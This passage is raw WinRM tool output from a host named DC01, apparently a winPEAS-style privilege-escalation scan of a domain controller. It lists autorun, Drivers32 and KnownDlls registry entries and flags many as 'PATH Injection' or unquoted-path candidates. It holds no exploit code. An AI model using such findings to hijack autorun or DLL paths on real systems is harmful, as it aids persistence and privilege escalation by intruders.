WINRM       172.16.55.128   5985   DC01                 Key: VMware User Process
WINRM       172.16.55.128   5985   DC01                 Folder: C:\Program Files\VMware\VMware Tools
WINRM       172.16.55.128   5985   DC01                 File: C:\Program Files\VMware\VMware Tools\vmtoolsd.exe -n vmusr (Unquoted and Space detected) - C:\
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders                                                                          
WINRM       172.16.55.128   5985   DC01                 Key: Common Startup
WINRM       172.16.55.128   5985   DC01                 Folder: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup                                                                                    
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders                                                                     
WINRM       172.16.55.128   5985   DC01                 Key: Common Startup
WINRM       172.16.55.128   5985   DC01                 Folder: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup                                                                                    
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon                                                                                     
WINRM       172.16.55.128   5985   DC01                 Key: Userinit
WINRM       172.16.55.128   5985   DC01                 Folder: C:\Windows\system32
WINRM       172.16.55.128   5985   DC01                 File: C:\Windows\system32\userinit.exe,
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon                                                                                     
WINRM       172.16.55.128   5985   DC01                 Key: Shell
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: explorer.exe
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot                                                                                                 
WINRM       172.16.55.128   5985   DC01                 Key: AlternateShell
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: cmd.exe
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Font Drivers                                                                                 
WINRM       172.16.55.128   5985   DC01                 Key: Adobe Type Manager
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: atmfd.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Font Drivers                                                                     
WINRM       172.16.55.128   5985   DC01                 Key: Adobe Type Manager
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: atmfd.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Drivers32                                                                                    
WINRM       172.16.55.128   5985   DC01                 Key: aux
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: wdmaud.drv
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Drivers32                                                                                    
WINRM       172.16.55.128   5985   DC01                 Key: midi
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: wdmaud.drv
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Drivers32                                                                                    
WINRM       172.16.55.128   5985   DC01                 Key: midimapper
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: midimap.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Drivers32                                                                                    
WINRM       172.16.55.128   5985   DC01                 Key: mixer
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: wdmaud.drv
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Drivers32                                                                                    
WINRM       172.16.55.128   5985   DC01                 Key: msacm.imaadpcm
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: imaadp32.acm
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Drivers32                                                                                    
WINRM       172.16.55.128   5985   DC01                 Key: msacm.l3acm
WINRM       172.16.55.128   5985   DC01                 Folder: C:\Windows\System32
WINRM       172.16.55.128   5985   DC01                 File: C:\Windows\System32\l3codeca.acm
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Drivers32                                                                                    
WINRM       172.16.55.128   5985   DC01                 Key: msacm.msadpcm
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: msadp32.acm
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Drivers32                                                                                    
WINRM       172.16.55.128   5985   DC01                 Key: msacm.msg711
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: msg711.acm
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Drivers32                                                                                    
WINRM       172.16.55.128   5985   DC01                 Key: msacm.msgsm610
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: msgsm32.acm
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Drivers32                                                                                    
WINRM       172.16.55.128   5985   DC01                 Key: vidc.i420
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: iyuv_32.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Drivers32                                                                                    
WINRM       172.16.55.128   5985   DC01                 Key: vidc.iyuv
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: iyuv_32.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Drivers32                                                                                    
WINRM       172.16.55.128   5985   DC01                 Key: vidc.mrle
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: msrle32.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Drivers32                                                                                    
WINRM       172.16.55.128   5985   DC01                 Key: vidc.msvc
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: msvidc32.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Drivers32                                                                                    
WINRM       172.16.55.128   5985   DC01                 Key: vidc.uyvy
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: msyuv.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Drivers32                                                                                    
WINRM       172.16.55.128   5985   DC01                 Key: vidc.yuy2
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: msyuv.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Drivers32                                                                                    
WINRM       172.16.55.128   5985   DC01                 Key: vidc.yvu9
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: tsbyuv.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Drivers32                                                                                    
WINRM       172.16.55.128   5985   DC01                 Key: vidc.yvyu
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: msyuv.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Drivers32                                                                                    
WINRM       172.16.55.128   5985   DC01                 Key: wave
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: wdmaud.drv
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Drivers32                                                                                    
WINRM       172.16.55.128   5985   DC01                 Key: wavemapper
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: msacm32.drv
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32                                                                        
WINRM       172.16.55.128   5985   DC01                 Key: aux
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: wdmaud.drv
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32                                                                        
WINRM       172.16.55.128   5985   DC01                 Key: midi
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: wdmaud.drv
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32                                                                        
WINRM       172.16.55.128   5985   DC01                 Key: midimapper
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: midimap.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32                                                                        
WINRM       172.16.55.128   5985   DC01                 Key: mixer
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: wdmaud.drv
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32                                                                        
WINRM       172.16.55.128   5985   DC01                 Key: msacm.imaadpcm
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: imaadp32.acm
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32                                                                        
WINRM       172.16.55.128   5985   DC01                 Key: msacm.l3acm
WINRM       172.16.55.128   5985   DC01                 Folder: C:\Windows\SysWOW64
WINRM       172.16.55.128   5985   DC01                 File: C:\Windows\SysWOW64\l3codeca.acm
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32                                                                        
WINRM       172.16.55.128   5985   DC01                 Key: msacm.msadpcm
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: msadp32.acm
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32                                                                        
WINRM       172.16.55.128   5985   DC01                 Key: msacm.msg711
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: msg711.acm
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32                                                                        
WINRM       172.16.55.128   5985   DC01                 Key: msacm.msgsm610
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: msgsm32.acm
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32                                                                        
WINRM       172.16.55.128   5985   DC01                 Key: vidc.cvid
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: iccvid.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32                                                                        
WINRM       172.16.55.128   5985   DC01                 Key: vidc.i420
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: iyuv_32.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32                                                                        
WINRM       172.16.55.128   5985   DC01                 Key: vidc.iyuv
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: iyuv_32.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32                                                                        
WINRM       172.16.55.128   5985   DC01                 Key: vidc.mrle
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: msrle32.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32                                                                        
WINRM       172.16.55.128   5985   DC01                 Key: vidc.msvc
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: msvidc32.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32                                                                        
WINRM       172.16.55.128   5985   DC01                 Key: vidc.uyvy
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: msyuv.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32                                                                        
WINRM       172.16.55.128   5985   DC01                 Key: vidc.yuy2
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: msyuv.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32                                                                        
WINRM       172.16.55.128   5985   DC01                 Key: vidc.yvu9
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: tsbyuv.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32                                                                        
WINRM       172.16.55.128   5985   DC01                 Key: vidc.yvyu
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: msyuv.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32                                                                        
WINRM       172.16.55.128   5985   DC01                 Key: wave
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: wdmaud.drv
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32                                                                        
WINRM       172.16.55.128   5985   DC01                 Key: wavemapper
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: msacm32.drv
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Classes\htmlfile\shell\open\command                                                                                              
WINRM       172.16.55.128   5985   DC01                 Folder: C:\Program Files\Internet Explorer
WINRM       172.16.55.128   5985   DC01                 File: C:\Program Files\Internet Explorer\iexplore.exe %1 (Unquoted and Space detected) - C:\
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\System\CurrentControlSet\Control\Session Manager\KnownDlls                                                                                
WINRM       172.16.55.128   5985   DC01                 Key: *kernel32
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: kernel32.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\System\CurrentControlSet\Control\Session Manager\KnownDlls                                                                                
WINRM       172.16.55.128   5985   DC01                 Key: _wow64cpu
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: wow64cpu.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\System\CurrentControlSet\Control\Session Manager\KnownDlls                                                                                
WINRM       172.16.55.128   5985   DC01                 Key: _wowarmhw
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: wowarmhw.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\System\CurrentControlSet\Control\Session Manager\KnownDlls                                                                                
WINRM       172.16.55.128   5985   DC01                 Key: _xtajit
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: xtajit.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\System\CurrentControlSet\Control\Session Manager\KnownDlls                                                                                
WINRM       172.16.55.128   5985   DC01                 Key: _xtajit64
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: xtajit64.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\System\CurrentControlSet\Control\Session Manager\KnownDlls                                                                                
WINRM       172.16.55.128   5985   DC01                 Key: advapi32
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: advapi32.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\System\CurrentControlSet\Control\Session Manager\KnownDlls                                                                                
WINRM       172.16.55.128   5985   DC01                 Key: clbcatq
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: clbcatq.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\System\CurrentControlSet\Control\Session Manager\KnownDlls                                                                                
WINRM       172.16.55.128   5985   DC01                 Key: combase
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: combase.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\System\CurrentControlSet\Control\Session Manager\KnownDlls                                                                                
WINRM       172.16.55.128   5985   DC01                 Key: COMDLG32
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: COMDLG32.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\System\CurrentControlSet\Control\Session Manager\KnownDlls                                                                                
WINRM       172.16.55.128   5985   DC01                 Key: coml2
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: coml2.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\System\CurrentControlSet\Control\Session Manager\KnownDlls                                                                                
WINRM       172.16.55.128   5985   DC01                 Key: DifxApi
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: difxapi.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\System\CurrentControlSet\Control\Session Manager\KnownDlls                                                                                
WINRM       172.16.55.128   5985   DC01                 Key: gdi32
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: gdi32.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\System\CurrentControlSet\Control\Session Manager\KnownDlls                                                                                
WINRM       172.16.55.128   5985   DC01                 Key: gdiplus
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: gdiplus.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\System\CurrentControlSet\Control\Session Manager\KnownDlls                                                                                
WINRM       172.16.55.128   5985   DC01                 Key: IMAGEHLP
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
WINRM       172.16.55.128   5985   DC01                 File: IMAGEHLP.dll
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\System\CurrentControlSet\Control\Session Manager\KnownDlls                                                                                
WINRM       172.16.55.128   5985   DC01                 Key: IMM32
WINRM       172.16.55.128   5985   DC01                 Folder: None (PATH Injection)
